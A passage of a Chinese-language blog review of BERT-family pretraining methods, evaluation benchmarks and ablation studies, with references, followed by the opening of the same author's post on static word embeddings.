<p>从结果上看,SEGMENT-PAIR优于SENTENCE-PAIR,可能是因为单个句子过短导致模型无法学习长距离依赖关系。而不使用NSP任务的结果比使用NSP任务的结果要好。</p>
<p>第三是尝试增大了预训练数据集和batch size。论文中通过实验证明了更大的数据集和batch size有助于提升性能。</p>
<h3 id="修改lm任务的优化">修改LM任务的优化</h3>
<p>有一些针对BERT Masked LM的简单修改,并取得了较好的效果。</p>
<p>SpanBERT (Joshi et al., 2020) 提出了一种Span Masking的方案和Span Boundary Objective (SBO) 的目标。Span Masking是指它不再随机mask词,而是每次挑选一段连续的词进行mask,这段mask区域的长度遵循几何分布。SBO是用Span Masking区域前后的两个词来预测该区域的所有词,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>𝐲</mi><mi>𝐢</mi></msub><mo>=</mo><mi>f</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>𝐱</mi><mrow><mi>𝐬</mi><mo mathvariant="bold">−</mo><mn>𝟏</mn></mrow></msub><mo>,</mo><msub><mi>𝐱</mi><mrow><mi>𝐞</mi><mo mathvariant="bold">+</mo><mn>𝟏</mn></mrow></msub><mo>,</mo><msub><mi>𝐩</mi><mrow><mi>𝐢</mi><mo mathvariant="bold">−</mo><mi>𝐬</mi><mo mathvariant="bold">+</mo><mn>𝟏</mn></mrow></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">\mathbf{y}_{\mathbf{i}} = f\left( \mathbf{x}_{\mathbf{s - 1}},\mathbf{x}_{\mathbf{e + 1}},\mathbf{p}_{\mathbf{i - s + 1}} \right)</annotation></semantics></math>,其中<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>𝐱</mi><mrow><mi>𝐬</mi><mo mathvariant="bold">−</mo><mn>𝟏</mn></mrow></msub><annotation encoding="application/x-tex">\mathbf{x}_{\mathbf{s - 1}}</annotation></semantics></math>和<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>𝐱</mi><mrow><mi>𝐞</mi><mo mathvariant="bold">+</mo><mn>𝟏</mn></mrow></msub><annotation encoding="application/x-tex">\mathbf{x}_{\mathbf{e + 1}}</annotation></semantics></math>表示mask区域前后两个词的输出embedding,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>𝐩</mi><mrow><mi>𝐢</mi><mo mathvariant="bold">−</mo><mi>𝐬</mi><mo mathvariant="bold">+</mo><mn>𝟏</mn></mrow></msub><annotation encoding="application/x-tex">\mathbf{p}_{\mathbf{i - s + 1}}</annotation></semantics></math>表示要预测的词在该mask区域的相对位置编码。最后模型的目标函数是MLM和SBO任务的目标之和,即</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><msub><mi>L</mi><mtext mathvariant="normal">MLM</mtext></msub><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>+</mo><msub><mi>L</mi><mtext mathvariant="normal">SBO</mtext></msub><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow><mo>=</mo><mo>−</mo><mo>log</mo><mrow><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>𝐱</mi><mi>𝐢</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><mo>−</mo><mo>log</mo><mrow><mi>P</mi><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>x</mi><mi>i</mi></msub><mo stretchy="true" form="infix">|</mo><msub><mi>𝐲</mi><mi>𝐢</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow></mrow><annotation encoding="application/x-tex">L\left( x_{i} \right) = L_{\text{MLM}}\left( x_{i} \right) + L_{\text{SBO}}\left( x_{i} \right) = - \log{P\left( x_{i} \middle| \mathbf{x}_{\mathbf{i}} \right)} - \log{P\left( x_{i} \middle| \mathbf{y}_{\mathbf{i}} \right)}</annotation></semantics></math></p>
<p>除此以外,SpanBERT也发现NSP任务会使得模型效果更差,作者推测这可能是因为单句训练可以让模型获得更长的语境,另外加入另一个文本的语境信息会带来噪音。</p>
<p>StructBERT (Wang et al., 2019) 在BERT的基础上增加了Word Structural Objective和Sentence Structural Objective两个目标。Word Structural Objective的做法是,除了和BERT一样进行mask外,对未mask的词,随机抽选一个n-gram,打乱顺序后重构该顺序。Sentence Structural Objective的做法是,将原来NSP的二分类任务改为三分类,要求模型判断输入的两个句子在原文的关系是第一句在第二句前,或第一句在第二句后,或两个句子不是连续的。之所以会想到这种修改,是因为原来BERT的NSP任务太过简单,模型可以达到97%至98%的准确率,而更复杂的任务可能可以使模型训练更加充分。</p>
<p>ELECTRA (Clark et al., 2020) 将BERT的回归型LM改为判别型LM,即模型的最终目标是判断每个词是否被修改过的二分类任务,而不是生成被mask的词。这样的好处是每次训练都识别所有的词,而不像原始BERT那样只处理15%的词,并解决了BERT引入[MASK]标记导致预训练和微调不一致的问题。</p>
<p>这个替换的过程并不是人工替换或者随机替换,而是再训练一个小型的MLM,称为generator。在训练过程中,给generator输入带[MASK]的句子,generator生成对应位置的词。当然,由于模型较小,生成的词可能会有错误,而ELECTRA就利用这个错误的词。我们把ELECTRA当作discriminator,然后将generator的输出传递给它,ELECTRA判断每个词是否是原句中正确的词。</p>
<p>上述generator和ELECTRA是同时训练的,即参数每更新一步,MLM的loss和ELECTRA的loss都会更新。这种思路非常像GAN,但并不是真正的GAN,因为这两个模型并不是对抗性的,即如果generator生成了原本就是正确的词,那么我们希望ELECTRA的判别结果是original而不是replaced。这也就要求generator的效果不能太好。</p>
<h3 id="引入指导信息的优化">引入指导信息的优化</h3>
<p>SenseBERT (Levine et al., 2019) 在MLM任务中加入了语义信息,该语义信息是指WordNet定义的45种supersense(例如noun.animal、verb.contact)。具体做法是给每种supersense一个embedding,在输入时查WordNet中每个词对应的supersense有哪些,输入的embedding在原来word embedding的基础上再加上该词所有的supersense embedding。MLM的预训练任务中,除了要预测屏蔽词以外,还要预测屏蔽词的supersense。实验结果表示SenseBERT在基于SemEval的Supersense Disambiguation任务上显着优于常规BERT,并在Word in Context任务中实现了SOTA结果。</p>
<p>WKLM (Xiong et al., 2019) 在训练MLM任务的同时,通过识别被替换的实体名称训练了模型获取实体相关的信息的能力,训练过程称为Entity Replacement。该训练过程用Wikipedia作为语料库,在这个语料库中用Wikipedia的链接和Wikidata的实体别名来识别实体名称的单词和词组。在替换这些名称时,首先从Wikidata中查找与当前实体类型相同的实体,然后随机选取一个进行替换。需要注意的是,替换过程中需要保证连续的实体名称不被替换,也就是说任意两个被替换过的实体名称之间一定有没被替换过的实体名,这是为了避免一句话中所有实体都被替换了而恰好形成另一句正确表述的情况。Entity Replacement与MLM是同时训练的,MLM的[MASK]标记替换确保不在实体名称的内部。在训练时,对于每个实体,将它前后两个词的输出embedding连接后加一个线性层进行预测,类似于SpanBERT的SBO。实验证明WKLM在实体相关的任务和开放领域的QA任务中表现很好。</p>
<h3 id="针对低频词的优化">针对低频词的优化</h3>
<p>BERTRAM (Schick and Schütze, 2019) 采用传统词嵌入的思想,用subword和context信息加强了低频词的表示。BERTRAM是一个比较大的模型,它的输入是一个低频词的n-gram和它的一些context,输出是一个non-contextualized word embedding,可以作为BERT的输入embedding。</p>
<p>BERTRAM的核心在于如何获取和结合subword和context信息。对于subword的处理比较简单,设一个向量<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">form</mtext></msubsup><annotation encoding="application/x-tex">v_{(w,C)}^{\text{form}}</annotation></semantics></math>是单词的所有n-gram subword embedding的平均即可。而处理context信息的方法,文中给出了三种,分别是SHALLOW、REPLACE和ADD。</p>
<p>为了介绍这三种方法,设单词w出现在上下文C中的第i个位置,序列<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi><mo>=</mo><msub><mi>t</mi><mn>1</mn></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>t</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">t = t_{1},\ldots,t_{m}</annotation></semantics></math>是将C中的w替换为[MASK]后的序列,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mi>j</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><mi>e</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">h_{j}(e)</annotation></semantics></math>表示输出层的第j个向量。</p>
<p>SHALLOW的处理方法是用BERT计算<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">context</mtext></msubsup><mo>=</mo><msub><mi>h</mi><mi>i</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>e</mi><msub><mi>t</mi><mn>1</mn></msub></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>e</mi><msub><mi>t</mi><mi>m</mi></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">v_{(w,C)}^{\text{context}} = h_{i}\left( e_{t_{1}},\ldots,e_{t_{m}} \right)</annotation></semantics></math>,然后<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">form</mtext></msubsup><annotation encoding="application/x-tex">v_{(w,C)}^{\text{form}}</annotation></semantics></math>和<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">context</mtext></msubsup><annotation encoding="application/x-tex">v_{(w,C)}^{\text{context}}</annotation></semantics></math>加权求和。</p>
<p>REPLACE是用BERT计算<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">context</mtext></msubsup><mo>=</mo><msub><mi>h</mi><mi>i</mi></msub><mrow><mo stretchy="true" form="prefix">(</mo><msub><mi>e</mi><msub><mi>t</mi><mn>1</mn></msub></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>e</mi><msub><mi>t</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub></msub><mo>,</mo><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">form</mtext></msubsup><mo>,</mo><msub><mi>e</mi><msub><mi>t</mi><mrow><mi>i</mi><mo>+</mo><mn>1</mn></mrow></msub></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>e</mi><msub><mi>t</mi><mi>m</mi></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">v_{(w,C)}^{\text{context}} = h_{i}\left( e_{t_{1}},\ldots,e_{t_{i - 1}},v_{(w,C)}^{\text{form}},e_{t_{i + 1}},\ldots,e_{t_{m}} \right)</annotation></semantics></math>,即把w替换为subword表示。然后<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">context</mtext></msubsup><annotation encoding="application/x-tex">v_{(w,C)}^{\text{context}}</annotation></semantics></math>作为单个上下文的最终表示。</p>
<p>ADD是在t的前面添加w的subword和冒号,即<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">context</mtext></msubsup><mo>=</mo><msub><mi>h</mi><mrow><mi>i</mi><mo>+</mo><mn>2</mn></mrow></msub><mrow><mo stretchy="true" form="prefix">(</mo><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">form</mtext></msubsup><mo>,</mo><msub><mi>e</mi><mo>:</mo></msub><mo>,</mo><msub><mi>e</mi><msub><mi>t</mi><mn>1</mn></msub></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>e</mi><msub><mi>t</mi><mi>m</mi></msub></msub><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">v_{(w,C)}^{\text{context}} = h_{i + 2}\left( v_{(w,C)}^{\text{form}},e_{:},e_{t_{1}},\ldots,e_{t_{m}} \right)</annotation></semantics></math>。然后<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msubsup><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow><mtext mathvariant="normal">context</mtext></msubsup><annotation encoding="application/x-tex">v_{(w,C)}^{\text{context}}</annotation></semantics></math>作为单个上下文的最终表示。这样做的理由是可能语料库中含有很多词典类型的语料,他们的格式就是“词:解释”这样用冒号分隔的词语和解释,因此用相同的格式可能可以帮助模型提高训练效率。</p>
<p>上面三种方法得到了w在一个上下文中C的表示。但是w可能不止出现在C中,而出现在多个上下文<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mn>1</mn></msub><mo>,</mo><mi>…</mi><mo>,</mo><msub><mi>C</mi><mi>m</mi></msub></mrow><annotation encoding="application/x-tex">C_{1},\ldots,C_{m}</annotation></semantics></math>中,所以需要计算w在多个上下文中的最终embedding。论文中用到了一个Attentive Mimicking的结构,它是利用self-attention计算输入的加权平均。所以最后w的embedding是</p>
<p><math display="block" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><mi>C</mi><mo stretchy="true" form="postfix">)</mo></mrow></msub><mo>=</mo><munderover><mo>∑</mo><mrow><mi>i</mi><mo>=</mo><mn>1</mn></mrow><mi>m</mi></munderover><mrow><msub><mi>ρ</mi><mi>i</mi></msub><mo>⋅</mo><msub><mi>v</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo>,</mo><msub><mi>C</mi><mi>i</mi></msub><mo stretchy="true" form="postfix">)</mo></mrow></msub></mrow></mrow><annotation encoding="application/x-tex">v_{(w,C)} = \sum_{i = 1}^{m}{\rho_{i} \cdot v_{\left( w,C_{i} \right)}}</annotation></semantics></math></p>
<p>这篇论文的另一个贡献是提出了一种评测低频词模型的数据集的构造方法,称为Dataset Rarification。它的核心思想是找到数据集中的每一句的重要的词,然后把这个词替换为低频同义词。设数据集为D,其中每一项可以表示为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mrow><mo stretchy="true" form="prefix">(</mo><mi>x</mi><mo>,</mo><mi>y</mi><mo stretchy="true" form="postfix">)</mo></mrow><mo>∈</mo><mi>D</mi></mrow><annotation encoding="application/x-tex">(x,y) \in D</annotation></semantics></math>,其中x是文本,y是分类的目标标签。另外我们有一个低频同义词词典S,<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">S(w)</annotation></semantics></math>表示把单词w转换为它的低频同义词集合。我们把D分为<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>D</mi><mtext mathvariant="normal">train</mtext></msub><annotation encoding="application/x-tex">D_{\text{train}}</annotation></semantics></math>和<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>D</mi><mtext mathvariant="normal">cand</mtext></msub><annotation encoding="application/x-tex">D_{\text{cand}}</annotation></semantics></math>,保证<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>D</mi><mtext mathvariant="normal">cand</mtext></msub><annotation encoding="application/x-tex">D_{\text{cand}}</annotation></semantics></math>中的每一个句子x中都至少包含一个词w,使得<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mrow><mo stretchy="true" form="prefix">(</mo><mi>w</mi><mo stretchy="true" form="postfix">)</mo></mrow></mrow><annotation encoding="application/x-tex">S(w)</annotation></semantics></math>不为空,也就是说<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>D</mi><mtext mathvariant="normal">cand</mtext></msub><annotation encoding="application/x-tex">D_{\text{cand}}</annotation></semantics></math>的每条数据都能找到至少一个词来替换为低频同义词。然后用<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>D</mi><mtext mathvariant="normal">train</mtext></msub><annotation encoding="application/x-tex">D_{\text{train}}</annotation></semantics></math>训练一个简单的模型,使他实现分类任务。然后用它测试<math display="inline" xmlns="http://www.w3.org/1998/Math/MathML"><semantics><msub><mi>D</mi><mtext mathvariant="normal">cand</mtext></msub><annotation encoding="application/x-tex">D_{\text{cand}}</annotation></semantics></math>的每一条数据,并把能替换为低频同义词的词逐个替换为[MASK]标记再测试。如果该模型能在原数据上正确分类,而在替换后分类错误了,说明这个词是这句话中比较重要的词。那么我们就把该词替换为一个随机的低频同义词,然后加入到新数据集中。这样我们就得到了一个包含低频词的数据集,并且这个数据集的任务与原数据集相同。</p>
<h2 id="模型评价">模型评价</h2>
<p>NLP任务可分为NLU和NLG两类,这里列举一些常见的任务和数据集。</p>
<p>NLU:</p>
<ul>
<li><p>GLUE Benchmark: 包括9项序列分类的任务 https://gluebenchmark.com/</p></li>
<li><p>SQuAD: 给定一篇文章和问题,答案是原文中的一段话 https://rajpurkar.github.io/SQuAD-explorer/</p></li>
<li><p>SWAG: 给定一个句子,在四个选项中选择最合理的下一句 https://www.aclweb.org/anthology/D18-1009/</p></li>
<li><p>CoNLL-2003: 命名实体识别 https://www.clips.uantwerpen.be/conll2003/ner/</p></li>
</ul>
<p>NLG:</p>
<ul>
<li><p>WMT: 神经机器翻译 http://statmt.org/wmt20/translation-task.html</p></li>
<li><p>Gigaword: 文本摘要 https://github.com/harvardnlp/sent-summary</p></li>
<li><p>Cornell Movie-Dialogs: 对话响应生成 https://www.cs.cornell.edu/~cristian/Cornell_Movie-Dialogs_Corpus.html</p></li>
</ul>
<p>NLU任务都是分类或打分任务,所以可以采用准确率、F1值和相关系数作为指标。Wang et al. (2020) 抓取了GLUE Benchmark的数据,绘制了以人类baseline的结果标准化后的图像。下图的横轴是各种模型和模型组合,按时间排序,纵轴是标准化后的评测结果。最新的XLNet-Large的GLUE综合分值已经超过了人类水平。</p>
<figure>
<img src="/article-assets/contextualized-word-embedding/glue.png" alt="GLUE Benchmark">
<figcaption aria-hidden="true">GLUE Benchmark</figcaption>
</figure>
<p>NLG任务的评测更复杂一点,因为生成型的任务不能简单地用准确率等指标来衡量,而可以采用BLEU、ROUGE、Perplexity等指标。按照习惯,机器翻译任务一般使用BLEU,文本摘要等有参考结果的任务一般使用ROUGE,对话响应生成等无参考结果的任务一般使用Perplexity。</p>
<p>Lewis et al. (2019) 对比了多个模型在文本摘要任务上的结果。其中本文涉及到的模型是UNILM和BART两者。</p>
<figure>
<img src="/article-assets/contextualized-word-embedding/summarization.png" alt="文本摘要结果">
<figcaption aria-hidden="true">文本摘要结果</figcaption>
</figure>
<p>CNN/DailyMail和XSum是两个具有不同属性的摘要数据集,CNN/DailyMail中的摘要往往类似于原句,而XSum是高度抽象的。在所有ROUGE指标上,BART的性能均显著超过了以前最好的工作。</p>
<h2 id="ablation实验">Ablation实验</h2>
<p>本文涉及到的六个模型,除了UNILM以外,其余五篇论文都进行了ablation实验,中文可以翻译为消融实验。在机器学习领域,特别是复杂的深度神经网络的背景下,采用ablation实验,删掉模型的某一部分,与原模型对比,可以更好地理解网络的行为,证明某些设计的有效性。</p>
<p>GPT的ablation实验中对模型进行了三项修改,并测试了修改后的模型性能。这三项修改分别是:删除模型微调过程中的辅助语言模型目标,将Transformer更换为LSTM,和不进行预训练,直接训练有监督的目标任务。结果显示,辅助的语言模型目标在数据量大的情况下可能会有帮助,在数据量小的情况下没有什么影响;而其他两种修改都对模型产生了负面影响,说明了当前Transformer结构和预训练任务的有效性。</p>
<p>BERT进行了三个ablation实验。第一个ablation实验对比了BERT在“No NSP”“LTR & No NSP”“+ BiLSTM”三种情况下评估结果的变化,结果显示删除NSP会严重损害QNLI、MNLI和SQuAD 1.1的性能,使用单向的语言模型LTR在各个任务上的性能都比MLM差,说明深度双向模型是有必要的。第二个ablation实验测试了模型大小的影响,结果证明较大的模型可以使各项任务的性能都有提升,同时也证明了,如果模型经过了充分的预训练,那么在微调时即使训练数据不足,通过增大模型也可以达到较好的效果。第三个ablation实验删除了微调的过程,直接提取模型隐藏层的表示送入输出层。结果显示,即使没有微调过程,实际任务的结果也不会比有微调的模型低很多,这表明BERT对于微调和基于特征的方法均有效。</p>
<p>MASS的ablation实验针对模型的两个设计做了修改。第一是将模型的连续mask改为随机mask,第二是将decoder输入屏蔽上下文改为不屏蔽。结果发现这两种修改都导致模型性能下降,证明连续的mask可以使模型获得更好的语言建模能力,屏蔽decoder侧的上下文可以使decoder从encoder侧提取更多有用的信息。</p>
<p>XLNet的ablation实验发现,NSP任务在XLNet里并无作用。而去掉memory、span-based的预测和双向的数据时效果都是有所下降的,因此它们都是有用的。</p>
<p>BART的ablation实验比较了不同的预训练LM和文本破坏方法对模型性能的影响。结果发现,虽然在不同任务上不同的预训练任务性能差异较大,但是整体而言使用token masking和text infilling作为预训练任务时模型性能最好。这可能是由于该任务要求模型同时学习生成的词语和长度,使得模型更善于文本生成。</p>
<h2 id="参考文献">参考文献</h2>
<p>Kevin Clark, Minh-Thang Luong, Quoc V Le, and Christopher D Manning. 2020. Electra: Pre-training text encoders as discriminators rather than generators. <em>arXiv preprint arXiv:2003.10555</em>.</p>
<p>Zihang Dai, Zhilin Yang, Yiming Yang, Jaime Carbonell, Quoc V Le, and Ruslan Salakhutdinov. 2019. Transformer-xl: Attentive language models beyond a fifixed-length context. <em>arXiv preprint arXiv:1901.02860</em>.</p>
<p>Jacob Devlin, Ming-Wei Chang, Kenton Lee, and Kristina Toutanova. 2018. Bert: Pre-training of deep bidirectional transformers for language understanding. <em>arXiv preprint arXiv:1810.04805</em>.</p>
<p>Li Dong, Nan Yang, Wenhui Wang, Furu Wei, Xiaodong Liu, Yu Wang, Jianfeng Gao, Ming Zhou, and Hsiao-Wuen Hon. 2019. Unifified language model pre-training for natural language understanding and generation. In <em>Advances in Neural Information Processing Systems</em>, pages 13063--13075.</p>
<p>Mandar Joshi, Danqi Chen, Yinhan Liu, Daniel S Weld, Luke Zettlemoyer, and Omer Levy. 2020. Spanbert: Improving pre-training by representing and predicting spans. <em>Transactions of the Association for Computational Linguistics</em>, 8:64--77.</p>
<p>Ashish Khetan and Zohar Karnin. 2020. schubert: Optimizing elements of bert. <em>arXiv preprint arXiv:2005.06628</em>.</p>
<p>Zhenzhong Lan, Mingda Chen, Sebastian Goodman, Kevin Gimpel, Piyush Sharma, and Radu Soricut. 2019. Albert: A lite bert for self-supervised learning of language representations. <em>arXiv preprint arXiv:1909.11942</em>.</p>
<p>Yoav Levine, Barak Lenz, Or Dagan, Dan Padnos, Or Sharir, Shai Shalev-Shwartz, Amnon Shashua, and Yoav Shoham. 2019. Sensebert: Driving some sense into bert. <em>arXiv preprint arXiv:1908.05646</em>.</p>
<p>Mike Lewis, Yinhan Liu, Naman Goyal, Marjan Ghazvininejad, Abdelrahman Mohamed, Omer Levy, Ves Stoyanov, and Luke Zettlemoyer. 2019. Bart: Denoising sequence-to-sequence pre-training for natural language generation, translation, and comprehension. <em>arXiv preprint arXiv:1910.13461</em>.</p>
<p>Yinhan Liu, Myle Ott, Naman Goyal, Jingfei Du, Mandar Joshi, Danqi Chen, Omer Levy, Mike Lewis, Luke Zettlemoyer, and Veselin Stoyanov. 2019. Roberta: A robustly optimized bert pretraining approach. <em>arXiv preprint arXiv:1907.11692</em>.</p>
<p>Ofifir Press, Noah A Smith, and Omer Levy. 2019. Improving transformer models by reordering their sublayers. <em>arXiv preprint arXiv:1911.03864</em>.</p>
<p>Alec Radford, Karthik Narasimhan, Tim Salimans, and Ilya Sutskever. 2018. Improving language under-standing by generative pre-training.</p>
<p>Timo Schick and Hinrich Schutze. 2019. Bertram: Improved word embeddings have big impact on contextualized model performance. <em>arXiv preprint arXiv:1910.07181</em>.</p>
<p>David R So, Chen Liang, and Quoc V Le. 2019. The evolved transformer. <em>arXiv preprint arXiv:1901.11117</em>.</p>
<p>Kaitao Song, Xu Tan, Tao Qin, Jianfeng Lu, and Tie-Yan Liu. 2019. Mass: Masked sequence to sequence pre-training for language generation. <em>arXiv preprint arXiv:1905.02450</em>.</p>
<p>Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit, Llion Jones, Aidan N Gomez, Łukasz Kaiser, and Illia Polosukhin. 2017. Attention is all you need. In <em>Advances in neural information processing systems</em>, pages 5998--6008.</p>
<p>Alex Wang, Yada Pruksachatkun, Nikita Nangia, Amanpreet Singh, Julian Michael, Felix Hill, Omer Levy, and Samuel Bowman. 2019. Superglue: A stickier benchmark for general-purpose language understanding systems. In <em>Advances in neural information processing systems</em>, pages 3266--3280.</p>
<p>Wei Wang, Bin Bi, Ming Yan, Chen Wu, Zuyi Bao, Jiangnan Xia, Liwei Peng, and Luo Si. 2019. Structbert: Incorporating language structures into pretraining for deep language understanding. <em>arXiv preprint arXiv:1908.04577</em>.</p>
<p>Ruibin Xiong, Yunchang Yang, Di He, Kai Zheng, Shuxin Zheng, Chen Xing, Huishuai Zhang, Yanyan Lan, Liwei Wang, and Tie-Yan Liu. 2020. On layer normalization in the transformer architecture. <em>arXiv preprint arXiv:2002.04745</em>.</p>
<p>Wenhan Xiong, Jingfei Du, William Yang Wang, and Veselin Stoyanov. 2019. Pretrained encyclopedia: Weakly supervised knowledge-pretrained language model. <em>arXiv preprint arXiv:1912.09637</em>.</p>
<p>Zhilin Yang, Zihang Dai, Yiming Yang, Jaime Carbonell, Russ R Salakhutdinov, and Quoc V Le. 2019. Xlnet: Generalized autoregressive pretraining for language understanding. In <em>Advances in neural information processing systems</em>, pages 5753--5763.</p>
87c21765-9128-58b1-a5de-bb9990352519静态词嵌入(Static Word Embedding)总结2022-01-07T14:50:00+08:00<p>大家好,欢迎来到2022(twenty-twenty too 😉)。</p>
<p>研究生的这一年多来还是挺难过的,疫情是一方面,另外主要是我研一的时候课题组除了导师以外只有我一个学生,没有师兄带我,和其他人的交流也很少。研二的时候新来了一个同学,不过我还没怎么见过他,不像我在新生的时候就开始跟导师读论文写综述了。现在想想,如果我在研一的时候也像他那样,多花精力在课程和生活上,而不是在读论文和写综述上,可能我能更好地适应研究生的生活,少一些痛苦。虽然有人可能觉得研一就进入科研状态挺好的,毕竟积累得早收获得多,但是每周都要写几页综述还要做组会PPT确实给我带来了很多压力,影响了精神状态。</p>
<p>但总之我也确实积累了一些材料,主要是读论文的总结,打算最近整理一下发在博客上。本篇关于静态词嵌入的总结,是我在研一上学期时导师带着写的,每周导师会给我发5篇左右的论文,我阅读之后整理主要内容并写成综述和PPT。网页中是综述的内容,<a href="/article-assets/word-embedding/static_word_embedding.pptx">PPT可以点击此处下载</a>。由于我刚接触该领域,可能会有些写得不对的地方,请多批评指正。我也会尽量标注参考文献(目前是ACL会议格式,后续可能会改为链接),如果对某些内容有兴趣,请以原文为准。</p>
<p>以下是正文。</p>
<h2 id="前言">前言</h2>
<p>本文将若干篇词嵌入相关的论文组合起来,对词嵌入在各个阶段和层次的发展过程进行了梳理,整理了词嵌入相关的扩展方法和评价方法。</p>
<!-- more -->
<h2 id="词嵌入的原理">词嵌入的原理</h2>
<p>词嵌入的含义是用较低维(相对于词汇表大小来说)的向量表示词语的含义(语法和语义),这里的“嵌入”一词表示将高维的对象投射到低维空间中。有了这个想法后,关于词嵌入的研究首先就面临着两个问题,即词嵌入应该怎样计算和词嵌入应该有怎样的性质。</p>
<p>从历史上看,研究工作通常都是先依据需求来寻找解决方法,然后再发现解决方法中的特点,也就是说,性质应该是模型的设计目标。不过本文作为一篇综述类的文章,还是先从模型和构造方法入手,再去讨论性质和评价方法。</p>
